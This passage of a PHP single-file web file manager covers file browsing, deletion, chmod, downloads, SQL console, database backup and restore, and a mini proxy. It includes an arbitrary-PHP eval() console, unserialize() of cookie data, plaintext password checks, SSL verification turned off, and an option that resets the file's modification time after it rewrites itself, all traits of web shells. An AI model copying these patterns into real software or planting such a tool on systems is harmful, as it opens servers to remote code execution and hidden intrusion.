	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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